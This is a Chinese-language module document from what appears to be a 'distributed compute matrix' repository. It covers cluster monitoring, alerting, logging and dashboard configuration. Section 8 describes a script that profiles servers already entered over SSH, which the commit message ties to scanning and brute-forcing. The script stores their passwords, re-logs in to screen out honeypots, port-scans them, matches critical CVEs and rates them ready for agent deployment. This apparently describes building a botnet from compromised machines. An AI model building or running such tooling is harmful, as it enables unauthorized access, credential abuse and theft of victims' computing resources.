Files
卡若 048cc32afc 🎯 初始提交:分布式算力矩阵 v1.0
- 6 大模块:扫描/账号管理/节点部署/暴力破解/算力调度/监控运维
- SKILL 总控 + 子模块 SKILL
- 排除大文件(>5MB)与敏感凭证

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-15 22:46:54 +08:00

13 KiB
Raw Permalink Blame History

name, description, triggers, owner, version, updated
name description triggers owner version updated
监控运维 分布式算力矩阵 - 集群监控、告警通知、日志聚合与运维管理 监控、运维、告警、日志、集群状态、dashboard 卡若 1.0 2026-02-15

05_监控运维

核心任务:实时监控集群健康状态,及时告警,保障算力矩阵稳定运行


一、模块概述

监控运维模块是分布式算力矩阵的「眼睛和耳朵」,提供全方位的集群可观测性,确保每个节点的健康状态、资源使用、任务执行都在掌控之中。

二、监控架构

┌─────────────────────────────────────────────────────────┐
│                    监控面板 (Dashboard)                    │
│    节点总览 │ 资源使用 │ 任务统计 │ 告警列表 │ 日志查询   │
└──────────────────────────┬──────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────┐
│                    监控中心 (Monitor Core)                │
│  ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐   │
│  │ 指标采集 │ │ 告警引擎 │ │ 日志聚合 │ │ 报表生成 │   │
│  └──────────┘ └──────────┘ └──────────┘ └──────────┘   │
└──────────────────────────┬──────────────────────────────┘
                           │
          ┌────────────────┼────────────────┐
          ▼                ▼                ▼
    ┌──────────┐    ┌──────────┐    ┌──────────┐
    │  Node A  │    │  Node B  │    │  Node C  │
    │  Agent   │    │  Agent   │    │  Agent   │
    └──────────┘    └──────────┘    └──────────┘

三、监控维度

3.1 节点健康监控

指标 采集方式 阈值 告警级别
心跳状态 Agent上报 超时90s Critical
CPU使用率 /proc/stat >90% Warning
内存使用率 /proc/meminfo >85% Warning
磁盘使用率 df >90% Critical
网络连通性 ping/tcp 丢包>10% Warning
系统负载 uptime >CPU核数*2 Warning

3.2 任务执行监控

指标 说明 告警条件
任务成功率 成功/总数 <95%
任务平均耗时 从开始到完成 超过预期2倍
队列堆积数 等待中的任务 >1000
失败重试率 重试/总数 >10%
死信队列数 最终失败的任务 >0

3.3 资源利用率监控

指标 说明 优化触发
集群总算力 所有节点CPU总核数 -
算力利用率 已用/总量 <30%(浪费)
内存利用率 已用/总量 不均衡时
网络带宽 入/出流量 接近上限

四、告警系统

4.1 告警级别

级别 说明 通知方式 响应时间
Critical 严重故障,影响服务 电话+短信+微信 5分钟
Warning 潜在风险,需关注 微信+邮件 30分钟
Info 信息通知 邮件/日志 不限

4.2 告警规则

alerts:
  - name: node_offline
    condition: "heartbeat_timeout > 90s"
    level: critical
    message: "节点 {{node_id}} ({{ip}}) 离线,最后心跳 {{last_heartbeat}}"
    
  - name: high_cpu
    condition: "cpu_usage > 90% for 5min"
    level: warning
    message: "节点 {{node_id}} CPU持续高负载 {{cpu_usage}}%"
    
  - name: disk_full
    condition: "disk_usage > 90%"
    level: critical
    message: "节点 {{node_id}} 磁盘即将满 {{disk_usage}}%"
    
  - name: task_failure_spike
    condition: "task_failure_rate > 10% in 10min"
    level: warning
    message: "任务失败率异常升高 {{failure_rate}}%"
    
  - name: queue_backlog
    condition: "queue_size > 1000"
    level: warning
    message: "任务队列堆积 {{queue_size}} 个任务"

4.3 通知渠道

渠道 配置 适用级别
微信/企业微信 Webhook URL Warning + Critical
邮件 SMTP配置 所有级别
短信 API接口 Critical
Telegram Bot Token Warning + Critical
飞书 Webhook 所有级别

五、日志系统

5.1 日志分类

日志类型 来源 存储 保留
节点日志 Agent运行日志 本地+中心 30天
任务日志 任务执行输出 中心 60天
调度日志 调度决策记录 中心 90天
审计日志 操作记录 中心 365天
系统日志 平台运行日志 中心 30天

5.2 日志查询

# 查看某节点最近日志
python scripts/monitor.py logs --node node-001 --tail 100

# 搜索错误日志
python scripts/monitor.py logs --level error --since "1h ago"

# 查看某任务的执行日志
python scripts/monitor.py logs --task task-uuid-001

# 导出日志
python scripts/monitor.py logs --since "2026-02-01" --export logs.csv

六、运维操作

6.1 集群状态总览

# 查看集群状态
python scripts/monitor.py status

# 输出示例
╔══════════════════════════════════════════════════╗
║           分布式算力矩阵 - 集群状态               ║
╠══════════════════════════════════════════════════╣
║ 节点总数50     在线47    离线3              ║
║ CPU总核数200   已用120   利用率60%          ║
║ 内存总量400GB  已用280GB 利用率70%          ║
║ 任务队列23     运行中47  已完成12,345       ║
║ 今日失败5      成功率99.96%                   ║
╚══════════════════════════════════════════════════╝

6.2 节点运维

# 节点排空(停止分配新任务,等待现有任务完成)
python scripts/monitor.py drain --node node-001

# 节点重启Agent
python scripts/monitor.py restart --node node-001

# 节点移除
python scripts/monitor.py remove --node node-004

# 批量健康检查
python scripts/monitor.py health-check --all

6.3 定期巡检

# 每日巡检报告
python scripts/daily_report.py

# 输出:
# - 节点在线率
# - 任务完成率
# - 资源利用率趋势
# - 告警统计
# - 异常节点列表

七、Dashboard监控面板

7.1 面板模块

面板 内容 刷新频率
集群总览 节点数/在线率/算力/任务 10s
节点地图 节点地理分布 + 状态 30s
资源趋势 CPU/内存/磁盘趋势图 30s
任务统计 提交/完成/失败趋势 10s
告警列表 未处理告警 实时
排行榜 节点算力贡献排行 1min

7.2 技术实现

前端React + ECharts / Grafana
后端FastAPI + WebSocket
数据Prometheus + InfluxDB

八、已登录IP深度增强分析enhance_logged_ips.py

KR.分布式矩阵IP_已登录 中已成功SSH登录的IP进行全方位深度分析

8.1 功能概述

功能模块 说明
GeoIP地理定位 国家/省/市/ISP/AS号/经纬度/时区
真实连接验证 重新SSH登录测试Shell是否可用区分蜜罐/网络设备/正常服务器)
系统信息采集 CPU/内存/磁盘/内核/Docker/Python/网卡/负载/运行时间
多端口扫描 47个常用端口SSH/Web/DB/MQ/容器/远程桌面等)
漏洞匹配 SSH版本CVE + 服务端口已知漏洞含regreSSHion/EternalBlue等
算力评估 0-100分算力评分 + A-E等级 + 推荐节点角色
部署就绪度 是否可立即部署 + 障碍清单
问题诊断 自动识别内存/磁盘/负载/防火墙/SELinux等问题

8.2 用法

# 增强所有已登录IP
python3 scripts/enhance_logged_ips.py

# 仅增强指定IP
python3 scripts/enhance_logged_ips.py --ip 121.35.242.17

# 试运行(不写库)
python3 scripts/enhance_logged_ips.py --dry-run

8.3 MongoDB新增字段KR.分布式矩阵IP_已登录

{
  // ─── 原有字段 ───
  ip, port, username, password, banner, grade, os_guess, ssh_version,
  attempt_count, login_time, deploy_score, source_cols, user_count, quick_ssh_cmd,

  // ─── 地理信息(新增) ───
  region: "中国|广东|深圳",
  geo: {
    country, country_code, province, city,
    isp, org, as_number, as_name,
    latitude, longitude, timezone
  },

  // ─── 连接验证(新增) ───
  connection_verified: true,      // SSH登录是否成功
  last_verify_time: ISODate,
  shell_available: false,         // Shell是否可执行命令
  shell_type: "honeypot_or_restricted", // interactive/honeypot_or_restricted/no_shell_session

  // ─── 系统信息(新增) ───
  sysinfo: {
    hostname, kernel, arch, os_release,
    cpu_model, cpu_cores, cpu_threads, cpu_freq_mhz,
    ram_total_mb, ram_used_mb, ram_free_mb,
    swap_total_mb, swap_used_mb,
    disk_total_gb, disk_used_gb, disk_free_gb,
    uptime_seconds, uptime_human, load_avg,
    network_interfaces: [],
    public_ip_verified: "",
    docker_installed: false, docker_version: "",
    python_version: ""
  },

  // ─── 端口信息(新增) ───
  open_ports: {"22": "SSH", "8443": "HTTPS-Alt"},
  open_port_count: 2,
  port_banners: {"8443": "..."},

  // ─── 漏洞信息(新增) ───
  vulnerabilities: [
    {cve: "CVE-2024-6387", severity: "CRITICAL", desc: "regreSSHion远程RCE"}
  ],
  vulnerability_count: 1,
  critical_vuln_count: 1,

  // ─── 算力矩阵业务字段(新增) ───
  compute_score: 85,              // 算力评分 0-100
  compute_grade: "A",             // A/B/C/D/E
  compute_score_details: [],      // 评分明细
  recommended_roles: ["计算节点", "容器执行节点"],
  deploy_ready: true,             // 是否可立即部署
  deploy_blockers: [],            // 部署障碍
  node_status: "ready",           // ready/limited/honeypot/network_device/unreachable
  security_risk: "LOW",           // CRITICAL/HIGH/MEDIUM/LOW
  network_exposure: "LOW",        // HIGH/MEDIUM/LOW
  inferred_usage: ["Web服务器"],  // 推测用途

  // ─── 问题诊断(新增) ───
  issues: ["..."],
  issue_count: 0,

  // ─── 元数据(新增) ───
  enhance_time: ISODate,
  enhance_version: "1.0"
}

8.4 节点状态分类

node_status 说明 后续动作
ready SSH+Shell均可用满足部署条件 可立即部署Agent
limited Shell可用但有其他限制资源不足等 优化后可部署
honeypot SSH登录成功但Shell立即断开 标记排除,可能是蜜罐
network_device SSH登录成功但不支持Shell会话 标记排除,网络设备
shell_restricted Shell受限未知原因 需人工排查
unreachable SSH连接失败 密码可能已变更或主机下线

九、脚本清单

脚本 功能 说明
enhance_logged_ips.py 已登录IP深度增强 GeoIP+端口扫描+漏洞匹配+算力评估+问题诊断
monitor.py 监控主程序 状态查看、日志查询、节点运维
alert_engine.py 告警引擎 规则匹配、通知发送
log_collector.py 日志收集 从各节点收集日志
daily_report.py 日报生成 每日巡检报告
dashboard_server.py 面板服务 Web监控面板
metrics_exporter.py 指标导出 Prometheus格式导出

九、配置文件

config/monitor_config.yaml 示例:

monitor:
  bind: "0.0.0.0:9090"
  metrics_interval: 30       # 指标采集间隔(秒)
  
alerts:
  enabled: true
  check_interval: 30
  silence_duration: 3600     # 相同告警静默时间
  channels:
    wechat:
      enabled: true
      webhook: "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=xxx"
    email:
      enabled: true
      smtp_host: "smtp.example.com"
      smtp_port: 465
      sender: "monitor@example.com"
      receivers: ["admin@example.com"]
    telegram:
      enabled: false
      bot_token: ""
      chat_id: ""

logs:
  storage: file              # file / elasticsearch
  path: ./logs/
  retention_days: 30
  max_size_mb: 500
  
dashboard:
  enabled: true
  bind: "0.0.0.0:3000"
  auth: true
  username: admin
  password_env: DASHBOARD_PASSWORD

reports:
  daily:
    enabled: true
    time: "09:00"
    send_to: wechat
  weekly:
    enabled: true
    day: monday
    time: "09:00"